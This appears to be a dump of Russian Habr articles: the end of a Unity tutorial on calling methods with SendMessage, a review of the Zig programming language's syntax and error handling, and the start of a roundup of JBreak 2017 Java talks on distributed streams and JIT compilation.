[Ссылка на документацию свойства Time.timeScale](http://docs.unity3d.com/Documentation/ScriptReference/Time-timeScale.html)
#### Базовый урок 28 — Использование метода SendMessage для вызова внешних методов
---
*В уроке рассказывается, как использовать метод SendMessage класса GameObject для вызова метода скрипта другого игрового объекта.*
Существуют разные способы связаться из скрипта одного игрового объекта со скриптом другого игрового объекта. Ранее мы рассматривали метод *GetComponent*, с помощью которого можно получить компоненты объекта, в том числе и его скрипты. Альтернативой этому может быть использование метода *SendMessage*.
Рассмотрим сцену, на которой есть голубой шар *Ball*, падающий на красный ящик *Switch*. Рядом с ними висит в воздухе черный блок *Block*. Давайте сделаем так, чтобы при падании шара на ящик блок менял текстуру и тоже падал вниз.
Сначала нам надо написать скрипт для блока. Создадим новый скрипт, назовем его *Reactor* и напишем следующее:
Код на JavaScript:
```
var downTexture : Texture2D;
function React () {
renderer.material.mainTexture = downTexture;
yield WaitForSeconds(1);
gameObject.AddComponent(Rigidbody);
}
```
Код на C#:
```
public Texture2D downTexture;
private IEnumerator React()
{
renderer.material.mainTexture = downTexture;
yield return new WaitForSeconds(1);
gameObject.AddComponent(typeof(Rigidbody));
}
```
Мы объявили переменную *downTexture* для хранения текстуры и реализовали метод *React*, в котором меняем текстуру объекта, делаем небольшую задержку в 1 секунду и добавляем компонент твердого тела *Rigidbody*, чтобы на объект стала действовать гравитация. Добавим сразу этот скрипт к объекту *Block* и перетянем в поле скрипта *Down Texture* любую подходящую картинку. В уроке это изображение направленной вниз желтой стрелки на черном фоне.
Не торопитесь пока запускать сцену, на ней пока что ничего не изменится. Далее нам нужно сделать скрипт для шара *Ball*. Назовем его *Switcher* и напишем внутри:
Код на JavaScript:
```
function OnCollisionEnter(col : Collision) {
if(col.gameObject.name == "Switch"){
gameObject.Find("Block").SendMessage("React");
}
}
```
Код на C#:
```
private void OnCollisionEnter(Collision col)
{
if (col.gameObject.name == "Switch")
GameObject.Find("Block").SendMessage("React");
}
```
Мы реализовали метод *OnCollisionEnter*, который будет вызван при столкновении коллайдера шара с коллайдером другого объекта. Нас интересует столкновение с ящиком *Switch*, поэтому мы сперва делаем соответствующую проверку. Если это так, мы ищем объект блока *Block* при помощи метода *GameObject.Find*, указав имя блока. Для найденного объекта вызывается метод *SendMessage*, в который передается имя метода, который мы хотим вызвать (*React*), после чего, соответственно, происходит выполнение этого метода.
Добавляем скрипт к шару, запускаем сцену. Теперь при падении шара на ящик блок меняет текстуру и спустя секунду тоже падает вниз.
*Примечание от переводчика:* одним из минусов использования *SendMessage* является возможное ухудшение производительности по сравнению с вызовом методов напрямую. Вот на этой [странице](http://wiki.unity3d.com/index.php?title=General_Performance_Tips), посвященной вопросам производительности, говорится о разнице в 100 раз в пользу прямого вызова. Поэтому применять этот метод следует с осторожностью (как и методы *GetComponent*, *Find* и т.п.), и если его использование действительно становится виновником падения производительности — использовать более быстрые решения.
[Ссылка на оригинальный урок](http://www.unity3dstudent.com/2011/02/beginner-b28-sendmessage-to-call-external-functions/)
##### Дополнительные материалы:
[Ссылка на документацию метода GameObject.SendMessage](http://docs.unity3d.com/Documentation/ScriptReference/GameObject.SendMessage.html) | https://habr.com/ru/post/221755/ | null | ru | null |
# Язык программирования Zig
Первым комментарием к замечательной статье [Субъективное видение идеального языка программирования](https://habr.com/post/435300/) оказалась ссылка на [язык программирования Zig](http://ziglang.org/). Естественно, стало интересно, что же это такое за язык, который претендует на нишу C++, D и Rust. Посмотрел — язык показался симпатичным и в чем-то интересным. Приятный си-подобный синтаксис, оригинальный подход к обработке ошибок, встроенные сопрограммы. Данная статья является кратким обзором [официальной документации](https://ziglang.org/documentation/master/) с вкраплениями собственных мыслей и впечатлений от запуска примеров кода.
Начинаем
--------
Установка компилятора достаточно простая, для Windows- просто распаковать дистрибутив в какую-то папку. Делаем в той же папке текстовый файл hello.zig, вставляем туда код из документарции и сохраняем. Сборка выполняется командой
```
zig build-exe hello.zig
```
после чего в той же директории оказывается hello.exe.
Кроме сборки, доступен режим юнит-тестирования, для этого в коде используются блоки test, а сборка и запуск тестов осуществляется командой
```
zig test hello.zig
```
### Первые странности
Компилятор не поддерживает виндовские переносы строк (\r\n). Конечно, сам факт того, что переносы строк в каждой системе (Win,Nix,Mac) какие-то свои — это дикость и пережиток прошлого. Но тут уж ничего не поделаешь, так что просто выбираем например в Notepad++ желаемый для компилятора формат.
Вторая странность, на которую я наткнулся случайно — в коде не поддерживаются табуляции! Только пробелы. Бывает же такое :)
Впрочем, об этом честно написано в документации — правда уже в самом конце.
### Комментарии
Еще одна странность — Zig не поддерживает многострочные комментарии. Помнится, в древнем турбо паскале было сделано все верно — поддерживались вложенные многострочные комментарии. Видимо, с тех пор ни один разработчик языка не осилил такую несложную штуку:)
Зато есть документирующие комментарии. Начинаются с ///. Должны находиться в определенных местах — перед соответствующими объектами (переменными, функциями, классами...). Если они где-то в другом месте — ошибка компиляции. Неплохо.
### Объявление переменных
Выполнено в модном сейчас (и идеологически верном) стиле, когда сначала пишется ключевое слово (const или var), затем имя, затем опционально тип, и затем начальное значение. Т.е. автоматический вывод типов имеется. Переменные должны быть инициализированы — если не указать начальное значение, будет ошибка компиляции. Впрочем, предусмотрено специальное значение undefined, которое можно явно использовать для задания неинициализированных переменных.
```
var i:i32 = undefined;
```
### Вывод на консоль
Для экспериментов нам понадобится вывод на консоль — во всех примерах используется такой вот способ. В области подключаемых модулей прописывается
```
const warn = std.debug.warn;
```
а в коде пишется вот так:
```
warn("{}\n{}\n", false, "hi");
```
В компиляторе есть некие баги, о чем он честно сообщает при попытке вывести таким способом целое число или число с плавающей точкой:
> error: compiler bug: integer and float literals in var args function must be casted. [github.com/ziglang/zig/issues/557](https://github.com/ziglang/zig/issues/557)
Типы данных
-----------
### Примитивные типы
Имена типов взяты по всей видимости из Rust (i8, u8,… i128, u128), также есть специальные типы для двоичной совместимости с Си, 4 вида типов с плавающей точкой (f16, f32, f64, f128). Есть тип bool. Есть тип нулевой длины void и специальный noreturn, о котором расскажу далее.
А еще можно конструировать целочисленные типы любой длины в битах от 1 до 65535. Имя типа начинается с буквы i или u, а затем пишется длина в битах.
```
// оно компилируется!
var j:i65535 = 0x0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF;
```
Впрочем, вывести на консоль это значение у меня не получилось — в процессе компиляции вывалилась ошибка в LLVM.
Вообще это интересное решение, хотя и неоднозначное (ИМХО: поддержка именно длинных числовых литералов на уровне компилятора это правильно, а вот именование типов таким образом — не очень, лучше сделать честно через шаблонный тип). И почему ограничение 65535? Библиотеки типа GMP вроде бы таких ограничений не накладывают?
### Строковые литералы
Это массивы символов (без завершающего нуля в конце). Для литералов с завершающим нулем применяется префикс 'c'.
```
const normal_bytes = "hello";
const null_terminated_bytes = c"hello";
```
Аналогично большинству языков, Zig поддерживает стандартные escape-последовательности и вставку Unicode-символов через их коды (\uNNNN, \UNNNNNN где N — шестнадцатеричная цифра).
Многострочные литералы формируются с использованием двух обратных слэшей в начале каждой строки. При этом кавычки не требуются. То есть некоторая попытка сделать raw-строки, но ИМХО неудачная — преимущество raw-строк в том, что можно вставить в код любой кусок текста откуда угодно — и в идеале ничего не менять, а здесь придется в начале каждой строки добавлять \\.
```
const multiline =
\\#include
\\
\\int main(int argc, char \*\*argv) {
\\ printf("hello world\n");
\\ return 0;
\\}
;
```
### Целочисленные литералы
Все как в си-подобных языках. Очень порадовало, что для восьмеричных литералов применяется префикс 0o, а не просто ноль как в Си. Также поддерживаются двоичные литералы с префиксом 0b. Литералы с плавающей точкой могут быть шестнадцатеричными (как это сделано в [расширении GCC](https://gcc.gnu.org/onlinedocs/gcc/Hex-Floats.html)).
### Операции
Конечно же присутствуют стандартные арифметические, логические и битовые операции Си. Поддерживаются сокращенные операции (+= и т.д.). Вместо && и || используются ключевые слова and и or. Интересный момент — дополнительно поддерживаются операции с гарантированной семантикой переполнения (wraparound semantics). Выглядят они вот так:
```
a +% b
a +%= b
```
При этом обычные арифметические операции не гарантируют переполнения и их результаты при переполнении считаются неопределенными (а для констант выдаются ошибки компиляции). ИМХО это немного странно, но судя по всему сделано из каких-то глубоких соображений совместимости с семантикой языка Си.
### Массивы
Литералы массивов выглядят так:
```
const msg = []u8{ 'h', 'e', 'l', 'l', 'o' };
const arr = []i32{ 1, 2, 3, 4 };
```
Строки являются массивами символов, как и в Си. Индексация классическая квадратными скобками. Предусмотрены операции сложения (конкатенации) и умножения массивов. Очень интересная штука, и если с конкатенацией все понятно, то умножение — я все ждал пока кто-то это реализует, и вот дождался:) В Ассемблере(!) есть такая операция dup, которая позволяет формировать повторяющиеся данные. Теперь и в Zig:
```
const one = []i32{ 1, 2, 3, 4 };
const two = []i32{ 5, 6, 7, 8 };
const c = one ++ two; // { 1,2,3,4,5,6,7,8 }
const pattern = "ab" ** 3; // "ababab"
```
### Указатели
Синтаксис похож на Си.
```
var x: i32 = 1234; // объект
const x_ptr = &x // взятие адреса
```
Для разыменования (взятия значения по указателю) используется непривычная постфиксная операция:
```
x_ptr.* == 5678;
x_ptr.* += 1;
```
Тип указателя явно задается установкой звездочки перед именем типа
```
const x_ptr : *i32 = &x
```
### Срезы (слайсы)
Встроенная в язык структура данных, позволяющая ссылаться на массив или его часть. Содержит указатель на первый элемент и количество элементов. Выглядит вот так:
```
var array = []i32{ 1, 2, 3, 4 };
const slice = array[0..array.len];
```
Вроде бы это взято из Go, не уверен. И также я не уверен, стоило ли это встраивать в язык, при том что реализация в любом ООП-языке такой штуки весьма элементарна.
### Структуры
Интересный способ объявления структуры: объявляется константа, тип которой автоматически выводится как «тИповый» (type), и именно она используется как имя структуры. А сама структура (struct) «безымянная».
```
const Point = struct {
x: f32,
y: f32,
};
```
Привычным в си-подобных языках способом имя задать нельзя, однако компилятор выводит имя типа по определенным правилам — в частности, в рассмотренном выше случае оно будет совпадать с именем «тИповой» константы.
В общем случае язык не дает гарантий о порядке полей и их выравнивании в памяти. Если гарантии нужны — то следует использовать «упакованные» структуры
```
const Point2 = packed struct {
x: f32,
y: f32,
};
```
Инициализация — в стиле сишных десигнаторов:
```
const p = Point {
.x = 0.12,
.y = 0.34,
};
```
Структуры могут иметь методы. Однако размещение метода в структуре — это просто использование структуры как пространства имен; в отличие от С++, никаких неявных параметров this не передается.
### Перечисления
В общем такие же как в С/С++. Есть некоторые удобные встроенные средства доступа к метаинформации, например к количеству полей и их именам, реализованные встроенными в язык синтаксическими макросами (которые в документации называются builtin functions).
Для «двоичной совместимсости с Си» предусмотрены некие extern enums.
Для указания типа, который должен лежать в основе перечисления, применяется конструкция вида
```
packed enum(u8)
```
где u8 — базовый тип.
Перечисления могут иметь методы, подобно структурам (т.е. использовать имя перечисления как пространство имен).
### Объединения (unions)
Насколько я понял, объединение в Zig является алгебраическим типом-суммой, т.е. содержит скрытое теговое поле, определяющее какое из полей объединения «активно». «Активация» другого поля производится полным переприсваиванием всего объединения. Пример из документации
```
const assert = @import("std").debug.assert;
const mem = @import("std").mem;
const Payload = union {
Int: i64,
Float: f64,
Bool: bool,
};
test "simple union" {
var payload = Payload {.Int = 1234};
// payload.Float = 12.34; // ОШИБКА! поле не активно
assert(payload.Int == 1234);
// переприсваиваем целиком для изменения активного поля
payload = Payload {.Float = 12.34};
assert(payload.Float == 12.34);
}
```
Также объединения могут явно использовать перечисления для тега.
```
// Unions can be given an enum tag type:
const ComplexTypeTag = enum { Ok, NotOk };
const ComplexType = union(ComplexTypeTag) {
Ok: u8,
NotOk: void,
};
```
Объединения, аналогично перечислениям и структурам, также могут предоставлять свое пространство имен для методов.
### Опциональные типы
Zig имеет встроенную поддержку опционалов. Перед именем типа добавляется знак вопроса:
```
const normal_int: i32 = 1234; // normal integer
const optional_int: ?i32 = 5678; // optional integer
```
Интересно то, что в Zig реализована одна штука, о возможности которой я подозревал, но не был уверен, правильно ли это или нет. Указатели сделаны совместимыми с опционалами без добавления дополнительного скрытого поля («тега»), в котором хранится признак действительности значения; а в качестве недействительного значения используется null. Таким образом, ссылочные типы, представленные в Zig указателями, даже не требуют дополнительной памяти для «опциональности». При этом присваивание обычным указателям значения null запрещено.
### Типы-ошибки
Подобны опциональным типам, но вместо булевского тега («действительно-недействительно») используется элемент перечисления, соответствующий коду ошибки. Синтаксис похож на опционалы, вместо вопросительного знака добавляется восклицательный. Таким образом, эти типы можно использовать например для возврата из функций: возвращается или объект-результат успешной работы функции, или ошибка с соответствующим кодом. Типы-ошибки являются важной частью системы обработки ошибок языка Zig, подробнее в разделе «Обработка ошибок».
### Тип void
В Zig возможны переменные типа void и операции с ними
```
var x: void = {};
var y: void = {};
x = y;
```
никакого кода для таких операций не генерируется; этот тип полезен главным образом для метапрограммирования.
Также имеется тип c\_void для совмесимости с Си.
Управляющие операторы и функции
-------------------------------
К ним относятся: блоки, switch, while, for, if, else, break, continue. Для группировки кода используются стандартные фигурные скобки. Просто блоки как и в С/С++ используются для ограничения области видимости переменных. Блоки могут рассматриваться как выражения. В языке нет goto, но есть метки, которые можно использовать с операторами break и continue. По умолчанию эти операторы работают с циклами, однако если у блока есть метка — то можно использовать ее.
```
var y: i32 = 123;
const x = blk: {
y += 1;
break :blk y; // прерывания блока blk и возврат y
};
```
Оператор switch отличается от сишного тем, что в нем нет «fallthrough», т.е. исполняется только одно условие (case) и осуществляется выход из switch. Синтаксис более компактный: вместо case используется стрелка "=>". Switch также может рассматриваться как выражение.
Операторы while и if в целом такие же как во всех си-подобных языках. Оператор for больше похож на foreach. Все они могут рассматриваться как выражения. Из новых возможностей — while и for, также как и if, могут иметь блок else, который выполняется если не было ни одной итерации цикла.
И вот здесь пришло время рассказать об одной общей фиче для switch, while, которая в некотором роде позаимствована из концепции циклов foreach — «захвате» переменных. Выглядит это так:
```
while (eventuallyNullSequence()) |value| {
sum1 += value;
}
if (opt_arg) |value| {
assert(value == 0);
}
for (items[0..1]) |value| {
sum += value;
}
```
Здесь аргументом while является некий «источник» данных, который может быть опционалом, для for — массивом или срезом, а в переменной, находящейся между двух вертикальных линий оказывается «развернутое» значение — т.е. текущий элемент массива или среза (или указатель на него), внутреннее значение опционального типа (или указатель на него).
### Операторы defer и errdefer
Оператор отложенного выполнения, позаимствованный из Go. Работает так же — аргумент этого оператора выполняется при выходе из области видимости, в которой использован оператор. Дополнительно предусмотрен оператор errdefer, который срабатывает в том случае, если из функции возвращается тип-ошибка с активным кодом ошибки. Это является частью оригинальной системы обработки ошибок в Zig.
### Оператор unreachable
Элемент контрактного программирования. Специальное ключевое слово, которое ставится там, куда управление придти не должно ни при каких обстоятельствах. Если оно таки приходит туда, то в режимах Debug и ReleaseSafe генерируется паника, а в ReleaseFast оптимизатор выкидывает эти ветки полностью.
### noreturn
Технически является типом, совместимым в выражениях с любым другим типом. Это возможно за счет того, что возврата объекта этого типа никогда не будет. Поскольку в Zig операторы являются выражениями, то нужен специальный тип для выражений, которые никогда не будут вычислены. Это происходит, когда правая часть выражения безвозвратно передает управление куда-то вовне. К таким операторам break, continue, return, unreachable, бесконечные циклы и функции, никогда не возвращающие управления. Для сравнения — вызов обычной функции (возвращающей управление) не является noreturn-оператором, потому что управление хоть и передается вовне, но рано или поздно будет возвращено в точку вызова.
Таким образом, становятся возможны такие выражения:
```
fn foo(condition: bool, b: u32) void {
const a = if (condition) b else return;
@panic("do something with a");
}
```
Переменная a получает значение, возвращаемое оператором if/else. Для этого части (и if и else) должны возвращать выражение одного типа. Часть if возвращает bool, часть else — тип noreturn, который технически совместим с любым типом, в результате код компилируется без ошибок.
### Функции
Синтаксис классический для языков подобного типа:
```
fn add(a: i8, b: i8) i8 {
return a + b;
}
```
В целом функции выглядят довольно стандартно. Пока я не заметил признаков first-class functions, но мое знакомство с языком очень поверхностное, могу и ошибаться. Хотя возможно это пока не сделано.
Еще интересная особенность — в Zig игнорировать возвращаемые значения можно только явно с помощью подчеркивания \_
```
_ = foo();
```
Предусмотрена рефлексия, позволяющая получить различную информацию о функции
```
const assert = @import("std").debug.assert;
test "fn reflection" {
assert(@typeOf(assert).ReturnType == void); // тип возвращаемого значения
assert(@typeOf(assert).is_var_args == false); // переменное число аргументов
}
```
Исполнение кода во время компиляции
-----------------------------------
В Zig предусмотрена мощнейшая возможность — выполнение кода, написанного на zig, во время компиляции. Для того чтобы код выполнился во время компиляции, достаточно заключить его в блок с ключевым словом comptime. Одну и ту же функцию можно вызывать как во время компиляции, так и во время выполнения, что позволяет писать универсальный код. Разумеется, есть некоторые ограничения, связанные с разными контекстами работы кода. Например, в документации во множестве примеров comptime используется для проверок времени компиляции:
```
// array literal
const message = []u8{ 'h', 'e', 'l', 'l', 'o' };
// get the size of an array
comptime {
assert(message.len == 5);
}
```
Но конечно мощь этого оператора здесь раскрывается далеко не полностью. Так, в описании языка приведен классический пример эффективного применения синтаксических макросов — реализация функции аналогичной printf, но разбирающей форматную строку и проводящей все необходимые проверки типов аргументов на этапе компиляции.
Также слово comptime используется для указания параметров функций времени компиляции, что похоже на шаблонные функции С++.
```
параметры времени компиляции
fn max(comptime T: type, a: T, b: T) T {
return if (a > b) a else b;
}
```
Обработка ошибок
----------------
В Zig придумана оригинальная, не похожая на другие языки система обработки ошибок. Это можно назвать «явными исключениями» (в этом языке явность вообще является одной из идиом). Это также похоже на коды возврата в Go, но устроено все иначе.
В основе системы обработки ошибок Zig лежат специальные перечисления для реализации собственных кодов ошибок (error) и построенные на их основе «типы-ошибки» (алгебраический тип-сумма, объединяющий возвращаемый тип функции и код ошибки).
Перечисления ошибок объявляюстся аналогично обычным перечислениям:
```
const FileOpenError = error {
AccessDenied,
OutOfMemory,
FileNotFound,
};
const AllocationError = error {
OutOfMemory,
};
```
Однако, все коды ошибок получают значения больше нуля; также, если объявить в двух перечислениях код с одним и тем же именем, он получит одно и то же значение. Однако неявные преобразования между разными перечислениями ошибок запрещены.
Ключевое слово anyerror означает перечисление, включающее в себя все коды ошибок.
Подобно опциональным типам, язык поддерживает формирование типов-ошибок с помощью специального синтаксиса. Тип !u64 — это сокращенная форма anyerror!u64, которая в свою очередь означает объединение (вариант), включающее в себя тип u64 и тип anyerror (как я понимаю, код 0 зарезервирован для обозначения отсутствия ошибки и действительности поля данных, остальные коды — это собственно коды ошибок).
Ключевое слово catch позволяет перехватить ошибку и превращать ее в значение по умолчанию:
```
const number = parseU64(str, 10) catch 13;
```
Так, если в функции parseU64, возвращающей тип !u64, возникнет ошибка, то catch «перехватит» ее и возвратит значение по умолчанию 13.
Ключевое слово try позволяет «пробрасывать» ошибку на верхний уровень (т.е. на уровень вызывающей функции). Код вида
```
fn doAThing(str: []u8) !void {
const number = try parseU64(str, 10);
// ...
}
```
эквивалентен вот такому:
```
fn doAThing(str: []u8) !void {
const number = parseU64(str, 10) catch |err| return err;
// ...
}
```
Здесь происходит следующее: вызывается parseU64, если из нее возвращается ошибка — она перехватывается оператором catch, в котором с помощью синтаксиса «захвата» извлекается код ошибки, помещается в переменную err, которая возвращается через !void в вызывающую функцию.
Также к обработке ошибок относится описанный ранее оператор errdefer. Код, являющийся аргуметом errdefer, выполняется только в том случае, если функция возвращает ошибку.
Еще некоторые возможности. С помощью оператора || можно сливать наборы ошибок
```
const A = error{
NotDir,
PathNotFound,
};
const B = error{
OutOfMemory,
PathNotFound,
};
const C = A || B;
```
Еще Zig предоставляет такую возможность, как трассировка ошибок. Это нечто похожее на stack trace, но содержащая подробную информацию о том, какая ошибка возникла и как она распространялась по цепочке try от места возникновения до главной функции программы.
Таким образом, система обработки ошибок в Zig представляет собой весьма оригинальное решение, не похожее ни на исключения в C++, ни на коды возврата в Go. Можно сказать, что у такого решения есть определенная цена — дополнительные 4 байта, которые приходится возвращать вместе с каждым возвращаемым значением; очевидные преимущества — абсолютная явность и прозрачность. В отличие от С++, здесь функция не может выкинуть неизвестное исключение откуда-то из глубины цепочки вызовов. Все что возвращает функция — она возвращает явно и только явно.
Сопрограммы
-----------
В Zig имеются встроенные сопрограммы. Это функции, которые создаются с ключевым словом async, с помощью которого передаются функции аллокатора и деаллокатора (как я понимаю, для дополнительного стека).
```
test "create a coroutine and cancel it" {
const p = try async simpleAsyncFn();
comptime assert(@typeOf(p) == promise->void);
cancel p;
assert(x == 2);
}
async<\*std.mem.Allocator> fn simpleAsyncFn() void {
x += 1;
}
```
async возвращает специальный объект типа promise->T (где T — возвращаемый тип функции). С помощью этого объекта можно управлять сопрограммой.
Наиболее низкий уровень предусматривает ключевых слова suspend, resume и cancel. С помощью suspend выполнение сопрограммы приостанавливается и передается в вызывающую программу. Возможен синтаксис блока suspend, все что внутри блока выполняется до фактической приостановки сопрограммы.
resume принимает аргумент типа promise->T и возобновляет выполнение сопрограммы с того места, на котором она была приостановлена.
cancel освобождает память сопрограммы.
На данной картинке показана передача управления между основной программой (в виде теста) и сопрограммой. Все достаточно просто:
Вторая (более высокоуровневая) возможность — использование await. Это единственная вещь, с которой я, честно говоря, не разобрался (увы, документация пока весьма скудная). Вот фактическая диаграмма передачи управления немного модифицированного примера из документации, возможно вам это что нибудь объяснит:
Встроенные функции
------------------
builtin functions — достаточно большой набор функций, встроенных в язык и не требующих подключения каких либо модулей. Возможно, правильнее называть некоторые из них «встроенными синтаксическими макросами», потому что возможности многих выходят далеко за пределы функций. builtin'ы предоставляют доступ к средствам рефлексии (sizeOf, tagName, TagType, typeInfo, typeName, typeOf), с их помощью подключаются модули (import). Другие больше похожи на классические builtin'ы C/C++ — они реализуют низкоуровневые преобразования типов, различные операции такие как sqrt, popCount, slhExact и т.п. Весьма вероятно, что перечень встроенных функций будет меняться по мере развития языка.
### В завершение
Очень приятно что такие проекты появляются и развиваются. Язык Си хоть и является удобным, лаконичным и привычным для многих, все же устарел и по архитектурным причинам не может поддерживать многие современные концепции программирования. С++ развивается, но объективно переусложнен, с каждой новой версией становится все сложнее, и по тем же самым архитектурным причинам и из-за необходимости обратной совместимости с этим ничего нельзя поделать. Rust интересен, но с весьма высоким порогом вхождения, что не всегда оправдано. D — хорошая попытка, но довольно много мелких недочетов, складывается впечатление что изначально язык создавался скорее под впечатлением Java, а последующие фичи вводились уже как-то не так как следовало бы. Очевидно что Zig — еще одна такая попытка. Язык интересный, и интересно посмотреть что из него в итоге получится. | https://habr.com/ru/post/435872/ | null | ru | null |
# Что посмотреть на выходных? Обзор лучших докладов в свободном доступе. Часть вторая, JBreak 2017
Что можно посмотреть вечером или на этих выходных? Можно смотреть какие-нибудь фильмы, а можно — наш непрекращающийся сериал под названием «Java-конференции». Единственный сериал, после просмотра которого у вас может радикально увеличиться зарплата.
Вчерашняя [статья про JPoint 2017](https://habrahabr.ru/company/jugru/blog/346364) оказалась удивительно успешной. У неё почти не было комментариев, но на данный момент — 88 закладок. То есть статья попала в цель: люди добавляют в закладки и смотрят — ура. Буквально в первый час её пришел читать сам Сатана.
Сегодня мы будем действовать по старой схеме: я для вас отсматриваю подряд 10 докладов, делаю короткое описание содержимого, чтобы неинтересное можно было выбросить. Кроме того, с сайтов собираю ссылки на слайды и описания. Полученное сортирую и выдаю в порядке увеличения рейтинга — то есть в самом низу будет самый крутой доклад. Оценки — это не лайки на YouTube, а наша собственная оценочная система, она круче лайков.
---
10. [Блеск и нищета распределённых стримов](https://2017.jbreak.ru/talks/the-splendors-and-miseries-of-the-distributed-streams/)
================================================================================================================================
**Спикер**: Виктор Гамов; **оценка**: 4.24 ± 0.11. [Ссылка на презентацию](https://downloads.contentful.com/oxjq45e8ilak/61LonCGxtSCcgauMCuEaIu/1a96b8268950ae767063b80147ecbb34/_gamov_________________________________________________________________________-_JBreak_-_04-04-2017.pdf).
Первый слайд:
Понятно, что раз это Виктор, то речь пойдёт о Hazelcast, хоть с первого слайда это и непонятно. Это хороший вводный доклад на тему, как сделать стримы распределёнными, чтобы они наконец-то перестали тормозить (по-настоящему, а не как всегда).
Первым примером Виктор выбирает подсчёт слов — классическую задачу мира программирования. Будет мапа `<номер строки в файле-> строка>`, нужно посчитать количество слов и вывести топ. Считать будут файлы с текстами песен Disturbed и Lady Gaga.
Можно сделать это на Spark, как делает Женя Борисов. Понятно, что человек-хазелкаст не может опуститься до такого простого уровня.
Первый пример — с помощью стримов из восьмёрки вычитываем строки и натравляем на результат `compute` — получается типичный подсчёт слов. Дается классификация операций над стримами: промежуточные, терминальные и стейтфул-блокирующие, иллюстрируется на примере картинки с бургером (которую он невозбранно спёр из книжки про лямбды).
Присутствует определенное количество кода на стримах с подробными объяснениями (алгоритмы простые, но позволяют всё хорошо продемонстрировать):
Вопрос не в том, чтобы это написать хоть как-то, а чтобы сделать распределённым. Но интерфейс стримов распределённости не предполагает, нельзя просто так взять и сконвертить готовый код (максимум можно внутри одного процесса что-то сделать с помощью `parallelStream`, который не факт, что вообще что-то ускорит). Лямбды тоже несериализуемы — просто так взять и переслать на другие ноды их нельзя. Результаты выполнения — тоже.
В 2014 году на JavaOne коллектив людей из Oracle (Гёц, Оливер, Сандоз, ...) рассказали, как юзать эту парадигму для распределённых данных: сделали движок для Hadoop, [Coherence](https://www.oracle.com/ru/middleware/coherence/index.html) и т.п.
В изначальном дизайне библиотеки стримов можно было обычный Stream отнаследовать от DistributedStream, но этого сделано не было, ибо потребовало бы бороться с языком Java, притащить оверхед и так далее. Поэтому нужно DistributedStream наследовать от просто Stream. В Хазле так и сделано.
В Coherence есть, например, RemoteStreams. Там есть готовые коллекторы для стримов, для сборки данных в сериализованном виде. В Infinispan тоже есть куча интересных фишек.
Кроме, собственно, движка, у системы должно быть хорошее юзабилити: мы жабопрограммисты, нам хочется, чтобы всё просто собиралось, фигак-фигак, DevOps не про нас — сразу запихали в варник и шипнули на прод. Все эти вещи обещает решить Hazelcast. Распределённые кэши, распределённые вычисления, распределённое всё, и этим ещё и удобно пользоваться. Горизонтальное масштабирование, вертикальное масштабирование, бэкапы прямо на соседних нодах и т.п.
Но есть и всякие проблемы вроде OOM.
Для демонстрации всех этих штук у Виктора имеется приложение, запиленное на Spring Boot, и внушительная демонстрация того, как грузить данные (локально, не на кластере — но на клаудах он тоже, по его словам, всё это тестил, например, на Heroku). Виктор дальше делает лайвкодинг, и описывать это особо не имеет смысла.
Затем Виктор переходит к [Hazelcast Jet](https://jet.hazelcast.org/) и Jet Streams — что это такое и как работает. (Кстати, вам не кажется, что это какой-то ад — столько продуктов называется Jet-что-то там?) Это либа для распределённых вычислений, работает на графовой модели и основана на Hazelcast IMDG. Можно сравнить со Spark и Flink.
Всё это, конечно, подробно описывается. Исполнение графа, тасклеты и т.п. Показывает демки и бенчмарки и на основании этого всего делает выводы. И потом ещё более 10 минут вопросов и ответов.
В этом описании пропущено достаточно инфы, чтобы доклад имело смысл смотреть, а Виктор не распял меня за тотальный спойлеринг всего :-)
Лично для меня доклад ценен тем, что это та штука, которую совершенно точно стоит применять в своих приложениях мгновенно, как понадобятся распределённые стримы.
9. [Жизненный цикл JIT кода](https://2017.jbreak.ru/talks/lifecycle-of-a-jit-compiled-code/)
============================================================================================
**Спикер**: Иван Крылов; **оценка**: 4.29 ± 0.07. [Ссылка на презентацию](https://assets.contentful.com/oxjq45e8ilak/2tvBFrzcggIKoQ8igOWe6K/b94ad32fdd0dea89bf71a1a17767b4c8/Ivan_Krylov_Code_lifecycle_in_JVM.pdf).
Крылов — это товарищ из Azul, и по идее он мог бы залиться соловьём про особенности своей крутой VM-ки, но не делает этого. За что ему отдельное большое спасибо.
Говорящая картинка-эпиграф к этому докладу — [Crazy House](https://ru.wikipedia.org/wiki/%D0%93%D0%BE%D1%81%D1%82%D0%B5%D0%B2%D0%BE%D0%B9_%D0%B4%D0%BE%D0%BC_%D0%A5%D0%B0%D0%BD%D0%B3_%D0%9D%D0%B3%D0%B0):
Это примерно то, как работает HotSpot. С моей извращённой точки зрения, иногда это даже хорошо — иначе жизнь была бы гораздо более скучной. Из проверенных источников, после смерти всех разработчиков JVM вместо ада отправляют заниматься разработкой JVM.
Доклад будет о трансформации представления кода, профилях кода, деоптимизациях, и более практическая часть — 4 API для тюнинга компиляции. Две трети доклада — про проблематику, оставшаяся часть — практическая.
Вначале рассказывается про конвейер: статическая верификация, неоптимизирующая компиляция, получающийся в результате байткод, верификация в рантайме, линковка, исполняемый код.
Но может быть иначе: байткод может прилететь из какого-нибудь ByteBuddy, виртуалка может быть без интерпретатора, как в JRockit, виртуалка может быть только с интерпретатором и всё, а может быть гибридная виртуалка с AOT, как в Excelsior JET.
Иван рассказывает о том, что профиль — это, по сути, счётчики. Неточные счётчики для вычисления соотношений (а не абсолютные величины). Иногда у этих счётчиков есть дополнительные свойства — это позволяет делать дополнительные оптимизации.
Кроме профиля нужны ещё всякие небольшие интересные штуки. Иллюстрируется на особенностях скомпилированного Enum (в скомпилированном виде он весит больше, чем его текст — как бы намекает, что внутри зашита нетривиальная логика. Эту логику можно посмотреть по байткоду).
Иван показывает, как в общих чертах работает инлайнинг, и рассказывает о том, как однажды он этот инлайнинг случайно сломал (регрессия на 24%). Есть стандартные причины поломок типа: сильно большие методы, слишком большой уровень вложенности, специальные флаги настроек виртуалки, неинициализированные классы, несбалансированные мониторы, содержит байткод jsr и т.п.
Но инлайнинг может не только помочь, но и навредить. Например, когда какие-то методы слишком часто деоптимизируются. Виртуалка может запретить инлайнинг в таких ситуациях.
Дальше речь идёт об уровнях компиляции от 1 до 4. Рассказывается схема переходов, условия, пороги (типа полторы тысячи выполнений для C1) и другие интересные штуки. Если вам вдруг кажется, что вы всё это хорошо понимаете, то… скорей всего, это не так :-)
От этого делается переход к деоптимизациям, как они работают, как делятся на классы: детерминированные (constant propagation, с откатом (bias locking, tsx), спекулятивные с мгновенной остановкой (CHA invalidation).
